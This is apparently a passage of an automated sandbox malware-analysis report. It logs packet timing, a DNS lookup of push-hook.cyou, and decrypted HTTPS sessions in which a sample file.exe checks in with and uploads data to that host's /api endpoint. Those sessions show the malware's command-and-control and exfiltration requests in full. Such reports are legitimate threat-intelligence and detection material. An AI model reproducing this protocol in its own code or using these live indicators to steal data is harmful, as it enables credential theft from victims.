Nov 24, 2024 13:28:42.339382887 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.339411974 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:42.339618921 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.339659929 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:42.339706898 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.339796066 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.339859009 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.383364916 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:42.383614063 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.383661985 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:42.383711100 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.383744955 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:42.383883953 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:42.383943081 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:47.046854973 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:47.046953917 CET	443	49736	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:47.047142982 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:47.047202110 CET	49736	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:47.077841043 CET	49741	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:47.077874899 CET	443	49741	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:47.078036070 CET	49741	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:47.078296900 CET	49741	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:47.078310013 CET	443	49741	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:48.318348885 CET	443	49741	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:48.318464994 CET	49741	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:48.322189093 CET	49741	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:48.322197914 CET	443	49741	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:48.322467089 CET	443	49741	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:48.330749035 CET	49741	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:48.330761909 CET	49741	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:48.330812931 CET	443	49741	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:49.043009996 CET	443	49741	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:49.043108940 CET	443	49741	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:49.043215036 CET	49741	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:49.043494940 CET	49741	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:49.043513060 CET	443	49741	172.67.161.207	192.168.2.4
Nov 24, 2024 13:28:49.043524027 CET	49741	443	192.168.2.4	172.67.161.207
Nov 24, 2024 13:28:49.043529987 CET	443	49741	172.67.161.207	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 13:28:25.560316086 CET	52189	53	192.168.2.4	1.1.1.1
Nov 24, 2024 13:28:25.702203035 CET	53	52189	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 24, 2024 13:28:25.560316086 CET	192.168.2.4	1.1.1.1	0x706	Standard query (0)	push-hook.cyou	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 24, 2024 13:28:25.702203035 CET	1.1.1.1	192.168.2.4	0x706	No error (0)	push-hook.cyou		172.67.161.207	A (IP address)	IN (0x0001)	false
Nov 24, 2024 13:28:25.702203035 CET	1.1.1.1	192.168.2.4	0x706	No error (0)	push-hook.cyou		104.21.10.6	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

push-hook.cyou

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	172.67.161.207	443	4348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 12:28:27 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: push-hook.cyou
2024-11-24 12:28:27 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-24 12:28:28 UTC	1020	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 12:28:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kskkm0djfhkabvmrlem4fqtbh8; expires=Thu, 20-Mar-2025 06:15:07 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7wlZkJE%2FhlmlGHZ7nOEi6llCNsjCahRzhM1viasngra8OJ5w2e2u%2B3JTFg%2FawXt%2FWmRqsdeHTb%2F5VOcM1lhUKUs%2FKygg2kHtWAuW%2F1480TQR5iy2UKWgjbLnXmb9FjqQUQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7966213c4bc42c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1654&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=905&delivery_rate=1745367&cwnd=225&unsent_bytes=0&cid=8bb677ad2f4d9a79&ts=1453&x=0"
2024-11-24 12:28:28 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-24 12:28:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	172.67.161.207	443	4348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 12:28:29 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 46 Host: push-hook.cyou
2024-11-24 12:28:29 UTC	46	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=FATE99--test&j=
2024-11-24 12:28:30 UTC	1013	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 12:28:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=df38c7vc80jjbdvtl2qmsak2nc; expires=Thu, 20-Mar-2025 06:15:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gabHBJFvND6JB8hZwBVXm6kuBJ4bo5y13xN0fpfP6r9Fyf%2FVxe0m1b%2Bowfg3%2Fdq3ESdcpw95k9eAkameozXooPr91z66bWd2bJ2QmHl5am3Ib2Y%2FclAPESG0A1d7pRwFSQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79662f3d1c4303-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1770&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=944&delivery_rate=1621321&cwnd=235&unsent_bytes=0&cid=e338ab77fc5f263c&ts=705&x=0"
2024-11-24 12:28:30 UTC	356	IN	Data Raw: 34 34 36 63 0d 0a 33 62 52 36 75 6e 59 62 35 73 6b 64 2f 30 2f 32 71 6a 72 65 34 42 5a 64 63 6f 41 4a 69 6f 4b 75 6c 34 76 36 7a 32 69 4f 4a 7a 61 6d 6c 67 79 59 54 43 2f 4b 36 32 36 61 62 63 7a 65 53 4b 75 46 4f 6e 38 54 35 43 75 77 35 4d 2f 37 2b 4a 2f 6a 53 76 68 4b 46 4f 66 53 47 39 59 46 66 73 72 72 65 49 64 74 7a 50 46 42 2f 49 56 34 66 30 69 69 62 4f 44 67 7a 2f 76 70 6d 36 51 48 2f 6b 74 56 74 64 67 64 30 68 4e 34 67 71 68 78 6b 69 71 54 7a 31 75 30 6a 6e 38 77 47 75 30 72 70 71 44 4c 37 61 6e 41 37 53 58 72 55 31 65 51 31 51 6e 52 56 47 62 4b 73 6a 2b 61 49 64 53 51 47 4c 2b 46 64 44 45 55 35 47 4c 69 36 73 62 7a 36 4a 36 6c 47 4f 64 42 58 72 58 57 48 74 4d 5a 63 5a 61 6c 65 35 55 68 6c 63 56 62 2f 4d 77 30 4f 41 69 69 4d 36 69 7a 2f 76 62 34 69 Data Ascii: 446c3bR6unYb5skd/0/2qjre4BZdcoAJioKul4v6z2iOJzamlgyYTC/K626abczeSKuFOn8T5Cuw5M/7+J/jSvhKFOfSG9YFfsrreIdtzPFB/IV4f0iibODgz/vpm6QH/ktVtdgd0hN4gqhxkiqTz1u0jn8wGu0rpqDL7anA7SXrU1eQ1QnRVGbKsj+aIdSQGL+FdDEU5GLi6sbz6J6lGOdBXrXWHtMZcZale5UhlcVb/Mw0OAiiM6iz/vb4i
2024-11-24 12:28:30 UTC	1369	IN	Data Raw: 53 35 64 35 59 6d 6b 64 70 54 74 59 39 35 50 78 33 6f 5a 4f 76 67 79 2f 2f 6a 6c 36 63 4f 34 55 68 53 76 39 5a 59 6c 6c 52 2b 6e 4f 73 6e 33 51 36 52 32 46 2b 77 6c 44 59 46 55 50 30 6c 38 61 44 4c 2b 61 6e 41 37 51 4c 70 52 6c 65 30 32 52 76 51 48 32 75 45 75 58 6d 51 4b 49 62 4f 58 62 4b 49 64 79 30 61 37 47 33 72 36 63 66 38 37 4a 2b 70 53 71 49 46 55 36 65 57 51 4a 67 31 64 49 2b 6e 64 59 6f 74 31 4e 63 57 70 63 4a 7a 4d 31 43 36 4b 2b 7a 68 79 50 54 74 6c 71 4d 4f 34 45 4e 61 73 74 6b 65 30 68 52 2b 6a 71 4e 33 6e 43 43 66 78 31 69 35 6a 33 41 35 48 4f 4e 75 71 4b 36 4d 38 76 48 59 39 55 72 43 51 6c 65 74 6c 43 33 62 47 6e 65 44 76 54 2b 43 59 34 32 49 58 37 44 43 4c 48 38 65 35 32 54 36 34 64 37 77 35 34 71 68 44 2b 70 49 56 37 48 57 48 64 38 5a 64 Data Ascii: S5d5YmkdpTtY95Px3oZOvgy//jl6cO4UhSv9ZYllR+nOsn3Q6R2F+wlDYFUP0l8aDL+anA7QLpRle02RvQH2uEuXmQKIbOXbKIdy0a7G3r6cf87J+pSqIFU6eWQJg1dI+ndYot1NcWpcJzM1C6K+zhyPTtlqMO4ENastke0hR+jqN3nCCfx1i5j3A5HONuqK6M8vHY9UrCQletlC3bGneDvT+CY42IX7DCLH8e52T64d7w54qhD+pIV7HWHd8Zd
2024-11-24 12:28:30 UTC	1369	IN	Data Raw: 43 59 34 32 49 58 37 44 43 4c 48 38 63 36 32 76 6a 36 73 6a 31 37 70 57 6f 43 65 74 47 57 62 6a 63 46 74 38 51 64 59 32 6d 65 5a 30 71 6b 4d 31 4b 75 59 74 34 4d 31 43 73 4b 2b 2f 34 6a 4b 32 70 74 36 6f 63 37 32 70 58 72 74 39 59 78 31 70 67 78 4b 78 7a 33 58 58 55 7a 31 32 30 69 58 49 33 45 50 42 75 35 75 76 4e 2f 2b 2b 5a 6f 41 62 71 52 56 57 2f 30 42 54 59 45 33 36 57 75 58 71 62 50 35 36 49 46 76 79 46 62 48 39 49 6f 6c 33 34 39 39 33 6a 71 36 32 75 42 4f 4a 43 51 76 2f 4a 56 73 46 55 66 6f 6a 72 4a 39 30 6d 6c 4d 52 66 74 49 52 77 4e 78 2f 74 59 76 72 68 77 50 76 37 6e 36 30 44 34 6b 70 59 74 74 73 66 31 52 39 7a 69 61 39 34 6e 47 33 61 69 46 2b 6b 77 69 78 2f 4a 76 4a 6d 35 4d 37 48 2b 65 44 59 73 6b 54 31 42 56 4f 7a 6c 6b 43 59 45 48 57 4d 6f 58 Data Ascii: CY42IX7DCLH8c62vj6sj17pWoCetGWbjcFt8QdY2meZ0qkM1KuYt4M1CsK+/4jK2pt6oc72pXrt9Yx1pgxKxz3XXUz120iXI3EPBu5uvN/++ZoAbqRVW/0BTYE36WuXqbP56IFvyFbH9Iol34993jq62uBOJCQv/JVsFUfojrJ90mlMRftIRwNx/tYvrhwPv7n60D4kpYttsf1R9zia94nG3aiF+kwix/JvJm5M7H+eDYskT1BVOzlkCYEHWMoX
2024-11-24 12:28:30 UTC	1369	IN	Data Raw: 7a 46 2b 34 68 48 74 2f 58 71 4a 73 38 4b 43 55 74 63 61 2f 6d 45 6a 4e 66 78 53 67 6d 41 47 59 45 33 58 45 38 7a 2b 52 4c 70 6a 41 56 37 71 4c 65 44 55 5a 36 57 66 6a 35 4d 44 38 37 4a 36 73 44 2b 6c 45 55 4c 50 63 48 74 73 58 64 6f 75 6b 64 39 31 6a 31 4d 39 41 2f 4e 6f 30 47 67 66 70 5a 65 36 67 30 37 76 77 32 4b 6f 47 72 42 30 55 73 39 38 65 33 68 46 31 68 61 31 33 6d 43 57 51 79 56 36 36 67 58 73 37 46 65 4e 6b 37 4f 7a 43 2f 2b 69 5a 6f 51 48 6a 54 6c 48 2f 6d 46 6a 66 44 44 6e 63 36 30 36 65 4f 34 50 59 56 50 79 64 4f 69 5a 51 35 57 65 6f 75 49 7a 30 2b 35 4b 6e 42 4f 6c 4b 55 62 7a 5a 48 39 55 53 64 59 36 69 64 35 73 69 6e 64 70 62 73 49 78 7a 4d 52 7a 73 5a 75 4c 6a 77 62 57 6e 32 4b 6f 53 72 42 30 55 6b 39 45 56 39 68 39 31 67 2b 74 67 30 7a 54 Data Ascii: zF+4hHt/XqJs8KCUtca/mEjNfxSgmAGYE3XE8z+RLpjAV7qLeDUZ6Wfj5MD87J6sD+lEULPcHtsXdoukd91j1M9A/No0GgfpZe6g07vw2KoGrB0Us98e3hF1ha13mCWQyV66gXs7FeNk7OzC/+iZoQHjTlH/mFjfDDnc606eO4PYVPydOiZQ5WeouIz0+5KnBOlKUbzZH9USdY6id5sindpbsIxzMRzsZuLjwbWn2KoSrB0Uk9EV9h91g+tg0zT
2024-11-24 12:28:30 UTC	1369	IN	Data Raw: 35 6f 30 5a 31 44 55 62 50 6a 77 7a 37 66 59 6a 71 34 63 35 30 68 59 2f 38 6c 57 77 56 52 2b 69 4f 73 6e 33 53 75 62 77 56 75 7a 67 33 30 7a 48 65 64 69 37 65 48 4b 38 65 4f 53 72 51 7a 71 52 46 47 31 31 52 6e 53 48 58 36 4d 72 48 79 50 62 64 71 49 58 36 54 43 4c 48 38 35 35 58 6e 6d 38 49 7a 71 70 34 48 74 44 65 41 46 44 50 2f 53 45 74 63 51 66 6f 69 74 65 70 73 67 6c 63 64 5a 76 49 31 77 4e 42 6e 6b 61 75 58 6c 77 66 48 37 6b 71 59 46 34 45 78 59 73 70 5a 57 6d 42 4e 68 78 50 4d 2f 72 43 43 61 78 6c 2b 71 77 6d 74 78 43 61 4a 73 35 4b 43 55 74 65 69 55 6f 67 6e 6a 52 6c 65 2b 33 41 72 4b 47 48 43 4d 72 6e 4f 57 49 35 4c 61 58 72 4f 4c 64 7a 77 5a 35 57 50 6b 36 73 2f 79 71 64 62 74 44 66 51 46 44 50 2f 31 44 38 67 5a 4f 5a 76 6c 5a 74 30 71 6d 49 67 41 Data Ascii: 5o0Z1DUbPjwz7fYjq4c50hY/8lWwVR+iOsn3SubwVuzg30zHedi7eHK8eOSrQzqRFG11RnSHX6MrHyPbdqIX6TCLH855Xnm8Izqp4HtDeAFDP/SEtcQfoitepsglcdZvI1wNBnkauXlwfH7kqYF4ExYspZWmBNhxPM/rCCaxl+qwmtxCaJs5KCUteiUognjRle+3ArKGHCMrnOWI5LaXrOLdzwZ5WPk6s/yqdbtDfQFDP/1D8gZOZvlZt0qmIgA
2024-11-24 12:28:30 UTC	1369	IN	Data Raw: 6f 57 37 57 54 68 36 63 6a 39 36 70 69 70 44 75 74 41 56 37 50 64 48 39 73 62 66 59 32 6c 64 70 4a 74 32 6f 68 66 70 4d 49 73 66 7a 48 35 61 4f 54 74 6a 4f 71 6e 67 65 30 4e 34 41 55 4d 2f 39 6f 57 33 52 52 7a 67 71 39 36 6d 79 65 52 79 46 4f 2f 6a 58 41 35 46 4f 31 72 34 2b 6e 4e 38 2b 79 53 70 67 7a 68 52 6c 4b 35 6c 6c 61 59 45 32 48 45 38 7a 2b 39 4e 70 6e 45 58 2f 79 64 4f 69 5a 51 35 57 65 6f 75 49 7a 2b 35 5a 79 71 43 75 46 47 58 4c 72 53 45 74 30 55 63 5a 61 6a 66 35 6f 2f 68 73 68 52 75 59 35 33 50 78 54 6b 59 75 37 6a 79 4c 57 6e 32 4b 6f 53 72 42 30 55 6b 74 6f 66 38 52 4e 69 78 4c 51 78 68 47 32 54 78 42 6a 6b 77 6e 55 30 47 75 31 6d 36 2b 62 50 2f 75 79 53 72 41 33 6b 53 45 61 38 32 52 66 63 46 48 61 43 72 58 36 53 4b 35 50 42 57 62 53 46 4e Data Ascii: oW7WTh6cj96pipDutAV7PdH9sbfY2ldpJt2ohfpMIsfzH5aOTtjOqnge0N4AUM/9oW3RRzgq96myeRyFO/jXA5FO1r4+nN8+ySpgzhRlK5llaYE2HE8z+9NpnEX/ydOiZQ5WeouIz+5ZyqCuFGXLrSEt0UcZajf5o/hshRuY53PxTkYu7jyLWn2KoSrB0Uktof8RNixLQxhG2TxBjkwnU0Gu1m6+bP/uySrA3kSEa82RfcFHaCrX6SK5PBWbSFN
2024-11-24 12:28:30 UTC	1369	IN	Data Raw: 4d 2f 75 72 4c 35 65 36 50 6f 6b 71 69 42 56 76 2f 6a 69 47 59 48 58 36 66 75 6d 6d 51 50 5a 4f 49 5a 2f 4c 43 62 48 39 49 6f 6c 37 72 37 73 4c 79 2f 34 6e 67 4c 66 70 50 55 36 2f 52 44 39 64 55 4e 38 53 74 50 38 56 2b 32 6f 68 63 72 63 49 73 62 30 4b 35 50 72 75 33 6e 4b 66 32 31 72 52 4b 2b 67 55 4d 37 5a 68 59 79 6c 51 68 78 4f 78 38 6a 7a 2b 53 79 30 36 2f 78 55 6f 42 4e 2f 68 6d 37 76 66 64 79 39 65 66 74 77 66 71 55 6b 58 7a 77 78 76 57 47 6e 36 53 36 7a 48 64 49 74 53 51 59 66 7a 4b 4e 41 42 65 6f 6e 4f 6f 75 49 7a 41 36 70 61 6a 44 66 70 55 47 5a 6a 4d 46 64 34 44 61 4d 54 6c 50 35 74 74 7a 4a 67 57 2f 49 5a 6c 66 30 69 79 4f 62 4f 31 6e 36 4b 35 79 72 4a 45 39 51 56 43 2f 34 35 4b 6c 6c 52 72 78 50 4d 2f 32 69 36 47 32 6c 36 2f 6c 48 64 34 4c 74 Data Ascii: M/urL5e6PokqiBVv/jiGYHX6fummQPZOIZ/LCbH9Iol7r7sLy/4ngLfpPU6/RD9dUN8StP8V+2ohcrcIsb0K5Pru3nKf21rRK+gUM7ZhYylQhxOx8jz+Sy06/xUoBN/hm7vfdy9eftwfqUkXzwxvWGn6S6zHdItSQYfzKNABeonOouIzA6pajDfpUGZjMFd4DaMTlP5ttzJgW/IZlf0iyObO1n6K5yrJE9QVC/45KllRrxPM/2i6G2l6/lHd4Lt
2024-11-24 12:28:30 UTC	1369	IN	Data Raw: 2b 66 62 6e 6c 71 6f 63 2f 51 68 7a 73 64 45 5a 7a 67 52 75 69 2b 73 78 33 53 76 55 6b 41 72 79 77 6e 41 75 55 4c 6f 37 75 72 75 5a 70 72 37 49 2f 78 57 69 58 42 53 70 6c 6b 43 4b 57 6a 6d 57 36 79 66 64 61 70 66 61 53 72 71 42 59 6a 78 58 33 46 58 50 37 73 76 30 2f 34 69 36 42 61 4e 72 59 70 37 6f 4a 73 30 58 64 34 71 73 61 59 78 74 32 6f 68 58 2f 4e 70 4e 66 31 69 69 56 4b 61 67 31 4c 57 78 32 4a 67 4a 34 6b 74 54 71 63 64 56 2f 78 70 2b 68 62 31 76 69 69 4c 62 35 6d 36 64 77 6a 70 2f 46 71 49 7a 75 71 36 4d 38 66 6a 59 39 56 71 2b 48 67 48 73 67 55 69 4b 43 7a 65 64 36 32 6e 64 64 63 61 47 47 4b 37 43 4c 48 39 58 34 58 6e 36 35 73 2f 6a 36 74 2b 54 4e 4d 74 4c 55 37 37 41 43 4e 55 59 57 49 65 36 64 61 4d 54 67 63 74 57 73 6f 56 69 4c 6c 43 73 4b 2b 65 Data Ascii: +fbnlqoc/QhzsdEZzgRui+sx3SvUkArywnAuULo7uruZpr7I/xWiXBSplkCKWjmW6yfdapfaSrqBYjxX3FXP7sv0/4i6BaNrYp7oJs0Xd4qsaYxt2ohX/NpNf1iiVKag1LWx2JgJ4ktTqcdV/xp+hb1viiLb5m6dwjp/FqIzuq6M8fjY9Vq+HgHsgUiKCzed62nddcaGGK7CLH9X4Xn65s/j6t+TNMtLU77ACNUYWIe6daMTgctWsoViLlCsK+e
2024-11-24 12:28:30 UTC	1369	IN	Data Raw: 34 32 75 47 75 74 37 61 70 4c 45 48 38 67 58 4f 36 69 73 63 70 45 54 71 76 39 4a 75 35 49 32 47 52 50 30 61 4b 69 75 6a 4f 32 70 77 4f 30 6e 2f 6b 4a 45 76 4a 51 30 33 78 6c 31 78 4c 51 78 68 47 32 43 69 41 44 76 7a 44 51 74 55 4c 6f 72 72 2b 50 65 35 2b 2b 62 75 77 6d 72 65 32 71 53 78 42 2f 49 46 7a 75 31 70 6e 75 4c 4f 4a 66 59 58 34 4b 38 57 53 30 58 38 6d 69 71 78 66 61 33 32 49 36 75 43 75 4a 43 46 50 47 57 41 4a 68 4d 4f 61 6d 35 65 49 30 75 31 75 31 69 2f 72 4e 69 50 42 44 73 62 4b 6a 2f 67 75 79 70 6a 75 31 53 76 77 73 55 72 5a 5a 41 6d 46 4e 33 69 61 70 38 6b 79 36 47 32 6c 36 2f 6c 48 64 34 4c 74 78 45 34 2b 48 63 2b 50 69 56 71 52 7a 53 65 33 4f 35 30 78 2f 6d 4b 6b 36 56 72 47 2f 66 43 35 66 65 57 2f 7a 4d 4e 43 64 51 75 69 76 50 35 73 6e 79 Data Ascii: 42uGut7apLEH8gXO6iscpETqv9Ju5I2GRP0aKiujO2pwO0n/kJEvJQ03xl1xLQxhG2CiADvzDQtULorr+Pe5++buwmre2qSxB/IFzu1pnuLOJfYX4K8WS0X8miqxfa32I6uCuJCFPGWAJhMOam5eI0u1u1i/rNiPBDsbKj/guypju1SvwsUrZZAmFN3iap8ky6G2l6/lHd4LtxE4+Hc+PiVqRzSe3O50x/mKk6VrG/fC5feW/zMNCdQuivP5sny

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	172.67.161.207	443	4348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 12:28:31 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=FZ22HPRA5QKFI1H User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18144 Host: push-hook.cyou
2024-11-24 12:28:31 UTC	15331	OUT	Data Raw: 2d 2d 46 5a 32 32 48 50 52 41 35 51 4b 46 49 31 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 37 44 32 33 31 39 39 37 30 31 33 43 45 41 43 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 46 5a 32 32 48 50 52 41 35 51 4b 46 49 31 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 5a 32 32 48 50 52 41 35 51 4b 46 49 31 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 46 5a 32 32 48 50 Data Ascii: --FZ22HPRA5QKFI1HContent-Disposition: form-data; name="hwid"97D231997013CEACD7CBBD6DF28D3732--FZ22HPRA5QKFI1HContent-Disposition: form-data; name="pid"2--FZ22HPRA5QKFI1HContent-Disposition: form-data; name="lid"FATE99--test--FZ22HP
2024-11-24 12:28:31 UTC	2813	OUT	Data Raw: cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 af a9 da 16 51 bc 21 8f 77 45 11 8f Data Ascii: d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6Q!wE
2024-11-24 12:28:33 UTC	1016	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 12:28:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fr7bqcbs8jjr12srdo7ko9u1bt; expires=Thu, 20-Mar-2025 06:15:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XFnUoqboboWPkc3cgE7rw%2FbhEF2RMqio9ZnYzKpOgletl07SbUByCeJK43sB9WyKOUi4GsH%2FUbVZiR4yCsM5H%2BNpiU8KYTHCWdPJAiRrfnf5Vo26vupJBUBGKxq0BQfDxA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79663ccca7c452-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1673&sent=15&recv=23&lost=0&retrans=0&sent_bytes=2835&recv_bytes=19101&delivery_rate=1751649&cwnd=230&unsent_bytes=0&cid=3c59d5756994d775&ts=1056&x=0"
2024-11-24 12:28:33 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 12:28:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	172.67.161.207	443	4348	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 12:28:34 UTC	269	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=JXGX8S01 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8723 Host: push-hook.cyou
